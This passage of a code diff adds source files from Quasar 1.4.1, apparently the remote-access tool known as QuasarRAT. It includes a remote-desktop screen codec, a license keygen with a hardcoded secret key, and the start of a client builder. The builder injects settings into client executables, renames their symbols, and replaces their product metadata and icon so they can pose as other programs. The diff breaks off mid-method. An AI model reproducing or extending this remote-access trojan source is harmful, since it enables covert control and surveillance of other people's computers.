MaxXor 2023")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] +[assembly: InternalsVisibleTo("Quasar.Common.Tests")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("c7c363ba-e5b6-4e18-9224-39bc8da73172")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.4.1")] +[assembly: AssemblyFileVersion("1.4.1")] diff --git a/Quasar-1.4.1/Quasar.Common/Quasar.Common.csproj b/Quasar-1.4.1/Quasar.Common/Quasar.Common.csproj new file mode 100755 index 0000000..0bc8f15 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Quasar.Common.csproj @@ -0,0 +1,31 @@ + + + net452 + Library + false + + + ..\bin\Debug\ + true + + + + none + ..\bin\Release\ + true + + + + + + + + 2.4.8 + + + + + + + + diff --git a/Quasar-1.4.1/Quasar.Common/Utilities/ByteConverter.cs b/Quasar-1.4.1/Quasar.Common/Utilities/ByteConverter.cs new file mode 100755 index 0000000..9d61baf --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Utilities/ByteConverter.cs @@ -0,0 +1,135 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace Quasar.Common.Utilities +{ + public class ByteConverter + { + private static byte NULL_BYTE = byte.MinValue; + + public static byte[] GetBytes(int value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(long value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(uint value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(ulong value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(string value) + { + return StringToBytes(value); + } + + public static byte[] GetBytes(string[] value) + { + return StringArrayToBytes(value); + } + + public static int ToInt32(byte[] bytes) + { + return BitConverter.ToInt32(bytes, 0); + } + + public static long ToInt64(byte[] bytes) + { + return BitConverter.ToInt64(bytes, 0); + } + + public static uint ToUInt32(byte[] bytes) + { + return BitConverter.ToUInt32(bytes, 0); + } + + public static ulong ToUInt64(byte[] bytes) + { + return BitConverter.ToUInt64(bytes, 0); + } + + public static string ToString(byte[] bytes) + { + return BytesToString(bytes); + } + + public static string[] ToStringArray(byte[] bytes) + { + return BytesToStringArray(bytes); + } + + private static byte[] GetNullBytes() + { + //Null bytes: 00 00 + return new byte[] { NULL_BYTE, NULL_BYTE }; + } + + private static byte[] StringToBytes(string value) + { + byte[] bytes = new byte[value.Length * sizeof(char)]; + Buffer.BlockCopy(value.ToCharArray(), 0, bytes, 0, bytes.Length); + return bytes; + } + + private static byte[] StringArrayToBytes(string[] strings) + { + List bytes = new List(); + + foreach(string str in strings) + { + bytes.AddRange(StringToBytes(str)); + bytes.AddRange(GetNullBytes()); + } + + return bytes.ToArray(); + } + + private static string BytesToString(byte[] bytes) + { + int nrChars = (int)Math.Ceiling((float)bytes.Length / (float)sizeof(char)); + char[] chars = new char[nrChars]; + Buffer.BlockCopy(bytes, 0, chars, 0, bytes.Length); + return new string(chars); + } + + private static string[] BytesToStringArray(byte[] bytes) + { + List strings = new List(); + + int i = 0; + StringBuilder strBuilder = new StringBuilder(bytes.Length); + while (i < bytes.Length) + { + //Holds the number of nulls (3 nulls indicated end of a string) + int nullcount = 0; + while (i < bytes.Length && nullcount < 3) + { + if (bytes[i] == NULL_BYTE) + { + nullcount++; + } + else + { + strBuilder.Append(Convert.ToChar(bytes[i])); + nullcount = 0; + } + i++; + } + strings.Add(strBuilder.ToString()); + strBuilder.Clear(); + } + + return strings.ToArray(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Utilities/SafeRandom.cs b/Quasar-1.4.1/Quasar.Common/Utilities/SafeRandom.cs new file mode 100755 index 0000000..4e9dc1b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Utilities/SafeRandom.cs @@ -0,0 +1,54 @@ +using System; +using System.Security.Cryptography; + +namespace Quasar.Common.Utilities +{ + /// + /// Thread-safe random number generator. + /// Has same API as System.Random but is thread safe, similar to the implementation by Steven Toub: http://blogs.msdn.com/b/pfxteam/archive/2014/10/20/9434171.aspx + /// + public class SafeRandom + { + private static readonly RandomNumberGenerator GlobalCryptoProvider = RandomNumberGenerator.Create(); + + [ThreadStatic] + private static Random _random; + + private static Random GetRandom() + { + if (_random == null) + { + byte[] buffer = new byte[4]; + GlobalCryptoProvider.GetBytes(buffer); + _random = new Random(BitConverter.ToInt32(buffer, 0)); + } + + return _random; + } + + public int Next() + { + return GetRandom().Next(); + } + + public int Next(int maxValue) + { + return GetRandom().Next(maxValue); + } + + public int Next(int minValue, int maxValue) + { + return GetRandom().Next(minValue, maxValue); + } + + public void NextBytes(byte[] buffer) + { + GetRandom().NextBytes(buffer); + } + + public double NextDouble() + { + return GetRandom().NextDouble(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Video/Codecs/UnsafeStreamCodec.cs b/Quasar-1.4.1/Quasar.Common/Video/Codecs/UnsafeStreamCodec.cs new file mode 100755 index 0000000..24511b9 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Video/Codecs/UnsafeStreamCodec.cs @@ -0,0 +1,380 @@ +using Quasar.Common.Video.Compression; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; + +namespace Quasar.Common.Video.Codecs +{ + public class UnsafeStreamCodec : IDisposable + { + public int Monitor { get; private set; } + public Resolution Resolution { get; private set; } + public Size CheckBlock { get; private set; } + public int ImageQuality + { + get { return _imageQuality; } + private set + { + lock (_imageProcessLock) + { + _imageQuality = value; + + if (_jpgCompression != null) + { + _jpgCompression.Dispose(); + } + + _jpgCompression = new JpgCompression(_imageQuality); + } + } + } + + private int _imageQuality; + private byte[] _encodeBuffer; + private Bitmap _decodedBitmap; + private PixelFormat _encodedFormat; + private int _encodedWidth; + private int _encodedHeight; + private readonly object _imageProcessLock = new object(); + private JpgCompression _jpgCompression; + + /// + /// Initialize a new instance of UnsafeStreamCodec class. + /// + /// The quality to use between 0-100. + /// The monitor used for the images. + /// The resolution of the monitor. + public UnsafeStreamCodec(int imageQuality, int monitor, Resolution resolution) + { + this.ImageQuality = imageQuality; + this.Monitor = monitor; + this.Resolution = resolution; + this.CheckBlock = new Size(50, 1); + } + + public void Dispose() + { + Dispose(true); + + // Tell the Garbage Collector to not waste time finalizing this object + // since we took care of it. + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + if (_decodedBitmap != null) + { + _decodedBitmap.Dispose(); + } + + if (_jpgCompression != null) + { + _jpgCompression.Dispose(); + } + } + } + + public unsafe void CodeImage(IntPtr scan0, Rectangle scanArea, Size imageSize, PixelFormat format, + Stream outStream) + { + lock (_imageProcessLock) + { + byte* pScan0; + if (IntPtr.Size == 8) + { + // 64 bit process + pScan0 = (byte*) scan0.ToInt64(); + } + else + { + // 32 bit process + pScan0 = (byte*)scan0.ToInt32(); + } + + if (!outStream.CanWrite) + { + throw new Exception("Must have access to Write in the Stream"); + } + + int stride = 0; + int rawLength = 0; + int pixelSize = 0; + + switch (format) + { + case PixelFormat.Format24bppRgb: + case PixelFormat.Format32bppRgb: + pixelSize = 3; + break; + case PixelFormat.Format32bppArgb: + case PixelFormat.Format32bppPArgb: + pixelSize = 4; + break; + default: + throw new NotSupportedException(format.ToString()); + } + + stride = imageSize.Width * pixelSize; + rawLength = stride * imageSize.Height; + + if (_encodeBuffer == null) + { + this._encodedFormat = format; + this._encodedWidth = imageSize.Width; + this._encodedHeight = imageSize.Height; + this._encodeBuffer = new byte[rawLength]; + + fixed (byte* ptr = _encodeBuffer) + { + byte[] temp = null; + using (Bitmap tmpBmp = new Bitmap(imageSize.Width, imageSize.Height, stride, format, scan0)) + { + temp = _jpgCompression.Compress(tmpBmp); + } + + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + NativeMethods.memcpy(new IntPtr(ptr), scan0, (uint)rawLength); + } + return; + } + + if (this._encodedFormat != format) + { + throw new Exception("PixelFormat is not equal to previous Bitmap"); + } + else if (this._encodedWidth != imageSize.Width || this._encodedHeight != imageSize.Height) + { + throw new Exception("Bitmap width/height are not equal to previous bitmap"); + } + + long oldPos = outStream.Position; + outStream.Write(new byte[4], 0, 4); + long totalDataLength = 0; + + List blocks = new List(); + + Size s = new Size(scanArea.Width, CheckBlock.Height); + Size lastSize = new Size(scanArea.Width % CheckBlock.Width, scanArea.Height % CheckBlock.Height); + + int lasty = scanArea.Height - lastSize.Height; + int lastx = scanArea.Width - lastSize.Width; + + Rectangle cBlock = new Rectangle(); + List finalUpdates = new List(); + + s = new Size(scanArea.Width, s.Height); + + fixed (byte* encBuffer = _encodeBuffer) + { + var index = 0; + + for (int y = scanArea.Y; y != scanArea.Height; y += s.Height) + { + if (y == lasty) + { + s = new Size(scanArea.Width, lastSize.Height); + } + + cBlock = new Rectangle(scanArea.X, y, scanArea.Width, s.Height); + + int offset = (y * stride) + (scanArea.X * pixelSize); + + if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)stride) != 0) + { + index = blocks.Count - 1; + + if (blocks.Count != 0 && (blocks[index].Y + blocks[index].Height) == cBlock.Y) + { + cBlock = new Rectangle(blocks[index].X, blocks[index].Y, blocks[index].Width, + blocks[index].Height + cBlock.Height); + blocks[index] = cBlock; + } + else + { + blocks.Add(cBlock); + } + } + } + + for (int i = 0; i < blocks.Count; i++) + { + s = new Size(CheckBlock.Width, blocks[i].Height); + + for (int x = scanArea.X; x != scanArea.Width; x += s.Width) + { + if (x == lastx) + { + s = new Size(lastSize.Width, blocks[i].Height); + } + + cBlock = new Rectangle(x, blocks[i].Y, s.Width, blocks[i].Height); + bool foundChanges = false; + uint blockStride = (uint)(pixelSize * cBlock.Width); + + for (int j = 0; j < cBlock.Height; j++) + { + int blockOffset = (stride * (cBlock.Y + j)) + (pixelSize * cBlock.X); + + if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, blockStride) != 0) + { + foundChanges = true; + } + + NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, blockStride); + //copy-changes + } + + if (foundChanges) + { + index = finalUpdates.Count - 1; + + if (finalUpdates.Count > 0 && + (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) + { + Rectangle rect = finalUpdates[index]; + int newWidth = cBlock.Width + rect.Width; + cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); + finalUpdates[index] = cBlock; + } + else + { + finalUpdates.Add(cBlock); + } + } + } + } + } + + for (int i = 0; i < finalUpdates.Count; i++) + { + Rectangle rect = finalUpdates[i]; + int blockStride = pixelSize * rect.Width; + + Bitmap tmpBmp = null; + BitmapData tmpData = null; + long length; + + try + { + tmpBmp = new Bitmap(rect.Width, rect.Height, format); + tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), + ImageLockMode.ReadWrite, tmpBmp.PixelFormat); + + for (int j = 0, offset = 0; j < rect.Height; j++) + { + int blockOffset = (stride * (rect.Y + j)) + (pixelSize * rect.X); + NativeMethods.memcpy((byte*)tmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); + //copy-changes + offset += blockStride; + } + + outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); + outStream.Write(new byte[4], 0, 4); + + length = outStream.Length; + long old = outStream.Position; + + _jpgCompression.Compress(tmpBmp, ref outStream); + + length = outStream.Position - length; + + outStream.Position = old - 4; + outStream.Write(BitConverter.GetBytes(length), 0, 4); + outStream.Position += length; + } + finally + { + tmpBmp.UnlockBits(tmpData); + tmpBmp.Dispose(); + } + + totalDataLength += length + (4 * 5); + } + + outStream.Position = oldPos; + outStream.Write(BitConverter.GetBytes(totalDataLength), 0, 4); + } + } + + public unsafe Bitmap DecodeData(IntPtr codecBuffer, uint length) + { + if (length < 4) + { + return _decodedBitmap; + } + + int dataSize = *(int*)(codecBuffer); + + if (_decodedBitmap == null) + { + byte[] temp = new byte[dataSize]; + + fixed (byte* tempPtr = temp) + { + NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(codecBuffer.ToInt32() + 4), (uint)dataSize); + } + + this._decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + + return _decodedBitmap; + } + else + { + return _decodedBitmap; + } + } + + public Bitmap DecodeData(Stream inStream) + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int dataSize = BitConverter.ToInt32(temp, 0); + + if (_decodedBitmap == null) + { + temp = new byte[dataSize]; + inStream.Read(temp, 0, temp.Length); + this._decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + + return _decodedBitmap; + } + + using (Graphics g = Graphics.FromImage(_decodedBitmap)) + { + while (dataSize > 0) + { + byte[] tempData = new byte[4 * 5]; + inStream.Read(tempData, 0, tempData.Length); + + Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), + BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); + int updateLen = BitConverter.ToInt32(tempData, 16); + + byte[] buffer = new byte[updateLen]; + inStream.Read(buffer, 0, buffer.Length); + + using (MemoryStream m = new MemoryStream(buffer)) + { + using (Bitmap tmp = (Bitmap)Image.FromStream(m)) + { + g.DrawImage(tmp, rect.Location); + } + } + + dataSize -= updateLen + (4 * 5); + } + } + + return _decodedBitmap; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Video/Compression/JpgCompression.cs b/Quasar-1.4.1/Quasar.Common/Video/Compression/JpgCompression.cs new file mode 100755 index 0000000..93de834 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Video/Compression/JpgCompression.cs @@ -0,0 +1,68 @@ +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; + +namespace Quasar.Common.Video.Compression +{ + public class JpgCompression : IDisposable + { + private readonly ImageCodecInfo _encoderInfo; + private readonly EncoderParameters _encoderParams; + + public JpgCompression(long quality) + { + EncoderParameter parameter = new EncoderParameter(Encoder.Quality, quality); + this._encoderInfo = GetEncoderInfo("image/jpeg"); + this._encoderParams = new EncoderParameters(2); + this._encoderParams.Param[0] = parameter; + this._encoderParams.Param[1] = new EncoderParameter(Encoder.Compression, (long)EncoderValue.CompressionRle); + } + + public void Dispose() + { + Dispose(true); + + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + if (_encoderParams != null) + { + _encoderParams.Dispose(); + } + } + } + + public byte[] Compress(Bitmap bmp) + { + using (MemoryStream stream = new MemoryStream()) + { + bmp.Save(stream, _encoderInfo, _encoderParams); + return stream.ToArray(); + } + } + + public void Compress(Bitmap bmp, ref Stream targetStream) + { + bmp.Save(targetStream, _encoderInfo, _encoderParams); + } + + private ImageCodecInfo GetEncoderInfo(string mimeType) + { + ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); + int num2 = imageEncoders.Length - 1; + for (int i = 0; i <= num2; i++) + { + if (imageEncoders[i].MimeType == mimeType) + { + return imageEncoders[i]; + } + } + return null; + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Common/Video/Resolution.cs b/Quasar-1.4.1/Quasar.Common/Video/Resolution.cs new file mode 100755 index 0000000..f2b3949 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Video/Resolution.cs @@ -0,0 +1,50 @@ +using System; +using ProtoBuf; + +namespace Quasar.Common.Video +{ + [ProtoContract] + public class Resolution : IEquatable + { + [ProtoMember(1)] + public int Width { get; set; } + + [ProtoMember(2)] + public int Height { get; set; } + + public bool Equals(Resolution other) + { + if (ReferenceEquals(null, other)) return false; + if (ReferenceEquals(this, other)) return true; + return Width == other.Width && Height == other.Height; + } + + public static bool operator ==(Resolution r1, Resolution r2) + { + if (ReferenceEquals(r1, null)) + return ReferenceEquals(r2, null); + + return r1.Equals(r2); + } + + public static bool operator !=(Resolution r1, Resolution r2) + { + return !(r1 == r2); + } + + public override bool Equals(object obj) + { + return Equals(obj as Resolution); + } + + public override int GetHashCode() + { + return Width ^ Height; + } + + public override string ToString() + { + return $"{Width}x{Height}"; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Video/UdpFrameProtocol.cs b/Quasar-1.4.1/Quasar.Common/Video/UdpFrameProtocol.cs new file mode 100755 index 0000000..e08a33c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Video/UdpFrameProtocol.cs @@ -0,0 +1,68 @@ +using System; +using System.IO; +using System.IO.Compression; + +namespace Quasar.Common.Video +{ + /// + /// Shared constants and helpers for the UDP frame transport. + /// + /// Packet layout (bytes): + /// [0..3] frameId (uint32, little-endian) + /// [4..5] chunkIndex (uint16, little-endian) + /// [6..7] totalChunks (uint16, little-endian) + /// [8..9] flags (uint16) bit0=isKeyFrame, bit1=isCompressed + /// [10..] payload + /// + public static class UdpFrameProtocol + { + public const int HeaderSize = 10; + public const int MaxPayloadSize = 1300; // safe under typical MTU of 1400 + public const int MaxPacketSize = HeaderSize + MaxPayloadSize; + + public const ushort FlagKeyFrame = 0x0001; + public const ushort FlagCompressed = 0x0002; + + public static byte[] BuildPacket(uint frameId, ushort chunkIndex, ushort totalChunks, ushort flags, byte[] payload, int offset, int length) + { + byte[] packet = new byte[HeaderSize + length]; + Buffer.BlockCopy(BitConverter.GetBytes(frameId), 0, packet, 0, 4); + Buffer.BlockCopy(BitConverter.GetBytes(chunkIndex), 0, packet, 4, 2); + Buffer.BlockCopy(BitConverter.GetBytes(totalChunks),0, packet, 6, 2); + Buffer.BlockCopy(BitConverter.GetBytes(flags), 0, packet, 8, 2); + Buffer.BlockCopy(payload, offset, packet, HeaderSize, length); + return packet; + } + + public static void ParseHeader(byte[] packet, out uint frameId, out ushort chunkIndex, out ushort totalChunks, out ushort flags) + { + frameId = BitConverter.ToUInt32(packet, 0); + chunkIndex = BitConverter.ToUInt16(packet, 4); + totalChunks = BitConverter.ToUInt16(packet, 6); + flags = BitConverter.ToUInt16(packet, 8); + } + + /// Compress bytes with DeflateStream. + public static byte[] Compress(byte[] data) + { + using (var ms = new MemoryStream()) + { + using (var ds = new DeflateStream(ms, CompressionMode.Compress, true)) + ds.Write(data, 0, data.Length); + return ms.ToArray(); + } + } + + /// Decompress bytes with DeflateStream. + public static byte[] Decompress(byte[] data) + { + using (var input = new MemoryStream(data)) + using (var ds = new DeflateStream(input, CompressionMode.Decompress)) + using (var output = new MemoryStream()) + { + ds.CopyTo(output); + return output.ToArray(); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Keygen/FrmKeygen.Designer.cs b/Quasar-1.4.1/Quasar.Keygen/FrmKeygen.Designer.cs new file mode 100755 index 0000000..2eb31ba --- /dev/null +++ b/Quasar-1.4.1/Quasar.Keygen/FrmKeygen.Designer.cs @@ -0,0 +1,121 @@ +namespace Quasar.Keygen +{ + partial class FrmKeygen + { + private System.ComponentModel.IContainer components = null; + + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.lblTitle = new System.Windows.Forms.Label(); + this.lblHardwareID = new System.Windows.Forms.Label(); + this.txtHardwareID = new System.Windows.Forms.TextBox(); + this.lblBIN = new System.Windows.Forms.Label(); + this.txtBIN = new System.Windows.Forms.TextBox(); + this.btnGenerate = new System.Windows.Forms.Button(); + this.btnCopy = new System.Windows.Forms.Button(); + this.SuspendLayout(); + // + // lblTitle + // + this.lblTitle.AutoSize = true; + this.lblTitle.Font = new System.Drawing.Font("Segoe UI", 14F, System.Drawing.FontStyle.Bold); + this.lblTitle.Location = new System.Drawing.Point(70, 20); + this.lblTitle.Name = "lblTitle"; + this.lblTitle.Size = new System.Drawing.Size(260, 25); + this.lblTitle.TabIndex = 0; + this.lblTitle.Text = "Quasar License Key Generator"; + // + // lblHardwareID + // + this.lblHardwareID.AutoSize = true; + this.lblHardwareID.Location = new System.Drawing.Point(30, 70); + this.lblHardwareID.Name = "lblHardwareID"; + this.lblHardwareID.Size = new System.Drawing.Size(78, 13); + this.lblHardwareID.TabIndex = 1; + this.lblHardwareID.Text = "Hardware ID:"; + // + // txtHardwareID + // + this.txtHardwareID.Location = new System.Drawing.Point(30, 90); + this.txtHardwareID.Name = "txtHardwareID"; + this.txtHardwareID.Size = new System.Drawing.Size(340, 22); + this.txtHardwareID.TabIndex = 2; + // + // lblBIN + // + this.lblBIN.AutoSize = true; + this.lblBIN.Location = new System.Drawing.Point(30, 130); + this.lblBIN.Name = "lblBIN"; + this.lblBIN.Size = new System.Drawing.Size(62, 13); + this.lblBIN.TabIndex = 3; + this.lblBIN.Text = "BIN Code:"; + // + // txtBIN + // + this.txtBIN.Location = new System.Drawing.Point(30, 150); + this.txtBIN.Name = "txtBIN"; + this.txtBIN.ReadOnly = true; + this.txtBIN.Size = new System.Drawing.Size(340, 22); + this.txtBIN.TabIndex = 4; + // + // btnGenerate + // + this.btnGenerate.Location = new System.Drawing.Point(80, 190); + this.btnGenerate.Name = "btnGenerate"; + this.btnGenerate.Size = new System.Drawing.Size(120, 35); + this.btnGenerate.TabIndex = 5; + this.btnGenerate.Text = "Generate BIN"; + this.btnGenerate.UseVisualStyleBackColor = true; + this.btnGenerate.Click += new System.EventHandler(this.btnGenerate_Click); + // + // btnCopy + // + this.btnCopy.Enabled = false; + this.btnCopy.Location = new System.Drawing.Point(210, 190); + this.btnCopy.Name = "btnCopy"; + this.btnCopy.Size = new System.Drawing.Size(120, 35); + this.btnCopy.TabIndex = 6; + this.btnCopy.Text = "Copy BIN"; + this.btnCopy.UseVisualStyleBackColor = true; + this.btnCopy.Click += new System.EventHandler(this.btnCopy_Click); + // + // FrmKeygen + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(400, 250); + this.Controls.Add(this.btnCopy); + this.Controls.Add(this.btnGenerate); + this.Controls.Add(this.txtBIN); + this.Controls.Add(this.lblBIN); + this.Controls.Add(this.txtHardwareID); + this.Controls.Add(this.lblHardwareID); + this.Controls.Add(this.lblTitle); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmKeygen"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Velane Keygen"; + this.ResumeLayout(false); + this.PerformLayout(); + } + + private System.Windows.Forms.Label lblTitle; + private System.Windows.Forms.Label lblHardwareID; + private System.Windows.Forms.TextBox txtHardwareID; + private System.Windows.Forms.Label lblBIN; + private System.Windows.Forms.TextBox txtBIN; + private System.Windows.Forms.Button btnGenerate; + private System.Windows.Forms.Button btnCopy; + } +} diff --git a/Quasar-1.4.1/Quasar.Keygen/FrmKeygen.cs b/Quasar-1.4.1/Quasar.Keygen/FrmKeygen.cs new file mode 100755 index 0000000..2c158bd --- /dev/null +++ b/Quasar-1.4.1/Quasar.Keygen/FrmKeygen.cs @@ -0,0 +1,45 @@ +using System; +using System.Windows.Forms; + +namespace Quasar.Keygen +{ + public partial class FrmKeygen : Form + { + public FrmKeygen() + { + InitializeComponent(); + } + + private void btnGenerate_Click(object sender, EventArgs e) + { + string hardwareID = txtHardwareID.Text.Trim(); + + if (string.IsNullOrEmpty(hardwareID)) + { + MessageBox.Show("Please enter a Hardware ID.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + try + { + string bin = LicenseGenerator.GenerateBIN(hardwareID); + txtBIN.Text = bin; + btnCopy.Enabled = true; + MessageBox.Show("BIN code generated successfully!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + catch (Exception ex) + { + MessageBox.Show($"Error generating BIN: {ex.Message}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + + private void btnCopy_Click(object sender, EventArgs e) + { + if (!string.IsNullOrEmpty(txtBIN.Text)) + { + Clipboard.SetText(txtBIN.Text); + MessageBox.Show("BIN code copied to clipboard!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Keygen/LicenseGenerator.cs b/Quasar-1.4.1/Quasar.Keygen/LicenseGenerator.cs new file mode 100755 index 0000000..bbc2d94 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Keygen/LicenseGenerator.cs @@ -0,0 +1,20 @@ +using System; +using System.Security.Cryptography; +using System.Text; + +namespace Quasar.Keygen +{ + public static class LicenseGenerator + { + private const string SECRET_KEY = "QuasarRAT_2024_SecretKey_DoNotShare"; + + public static string GenerateBIN(string hardwareID) + { + using (var hmac = new HMACSHA256(Encoding.UTF8.GetBytes(SECRET_KEY))) + { + byte[] hash = hmac.ComputeHash(Encoding.UTF8.GetBytes(hardwareID)); + return Convert.ToBase64String(hash).Substring(0, 20).Replace("+", "").Replace("/", "").Replace("=", ""); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Keygen/Program.cs b/Quasar-1.4.1/Quasar.Keygen/Program.cs new file mode 100755 index 0000000..fee247a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Keygen/Program.cs @@ -0,0 +1,16 @@ +using System; +using System.Windows.Forms; + +namespace Quasar.Keygen +{ + internal static class Program + { + [STAThread] + private static void Main() + { + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + Application.Run(new FrmKeygen()); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Keygen/Quasar.Keygen.csproj b/Quasar-1.4.1/Quasar.Keygen/Quasar.Keygen.csproj new file mode 100755 index 0000000..69bb0a3 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Keygen/Quasar.Keygen.csproj @@ -0,0 +1,11 @@ + + + + WinExe + net461 + true + Keygen + 10.0 + + + diff --git a/Quasar-1.4.1/Quasar.Server/Build/ClientBuilder.cs b/Quasar-1.4.1/Quasar.Server/Build/ClientBuilder.cs new file mode 100755 index 0000000..822dd98 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Build/ClientBuilder.cs @@ -0,0 +1,225 @@ +using Mono.Cecil; +using Mono.Cecil.Cil; +using Quasar.Common.Cryptography; +using Quasar.Server.Models; +using System; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using Vestris.ResourceLib; + +namespace Quasar.Server.Build +{ + /// + /// Provides methods used to create a custom client executable. + /// + public class ClientBuilder + { + private readonly BuildOptions _options; + private readonly string _clientFilePath; + + public ClientBuilder(BuildOptions options, string clientFilePath) + { + _options = options; + _clientFilePath = clientFilePath; + } + + /// + /// Builds a client executable. + /// + public void Build() + { + using (AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly(_clientFilePath)) + { + // PHASE 1 - Writing settings + WriteSettings(asmDef); + + // PHASE 2 - Renaming + Renamer r = new Renamer(asmDef); + + if (!r.Perform()) + throw new Exception("renaming failed"); + + // PHASE 3 - Saving + r.AsmDef.Write(_options.OutputPath); + } + + // PHASE 4 - Assembly Information changing + if (_options.AssemblyInformation != null) + { + VersionResource versionResource = new VersionResource(); + versionResource.LoadFrom(_options.OutputPath); + + versionResource.FileVersion = _options.AssemblyInformation[7]; + versionResource.ProductVersion = _options.AssemblyInformation[6]; + versionResource.Language = 0; + + StringFileInfo stringFileInfo = (StringFileInfo) versionResource["StringFileInfo"]; + stringFileInfo["CompanyName"] = _options.AssemblyInformation[2]; + stringFileInfo["FileDescription"] = _options.AssemblyInformation[1]; + stringFileInfo["ProductName"] = _options.AssemblyInformation[0]; + stringFileInfo["LegalCopyright"] = _options.AssemblyInformation[3]; + stringFileInfo["LegalTrademarks"] = _options.AssemblyInformation[4]; + stringFileInfo["ProductVersion"] = versionResource.ProductVersion; + stringFileInfo["FileVersion"] = versionResource.FileVersion; + stringFileInfo["Assembly Version"] = versionResource.ProductVersion; + stringFileInfo["InternalName"] = _options.AssemblyInformation[5]; + stringFileInfo["OriginalFilename"] = _options.AssemblyInformation[5]; + + versionResource.SaveTo(_options.OutputPath); + } + + // PHASE 5 - Icon changing + if (!string.IsNullOrEmpty(_options.IconPath)) + { + IconFile iconFile = new IconFile(_options.IconPath); + IconDirectoryResource iconDirectoryResource = new IconDirectoryResource(iconFile); + iconDirectoryResource.SaveTo(_options.OutputPath); + } + } + + private void WriteSettings(AssemblyDefinition asmDef) + { + var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable); + var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); // export without private key, very important! + + var key = serverCertificate.Thumbprint; + var aes = new Aes256(key); + + byte[] signature; + // https://stackoverflow.com/a/49777672 RSACryptoServiceProvider must be changed with .NET 4.6 + using (var csp = (RSACryptoServiceProvider) caCertificate.PrivateKey) + { + var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key)); + signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256")); + } + + foreach (var typeDef in asmDef.Modules[0].Types) + { + if (typeDef.FullName == "Quasar.Client.Config.Settings") + { + foreach (var methodDef in typeDef.Methods) + { + if (methodDef.Name == ".cctor") + { + int strings = 1, bools = 1; + + for (int i = 0; i < 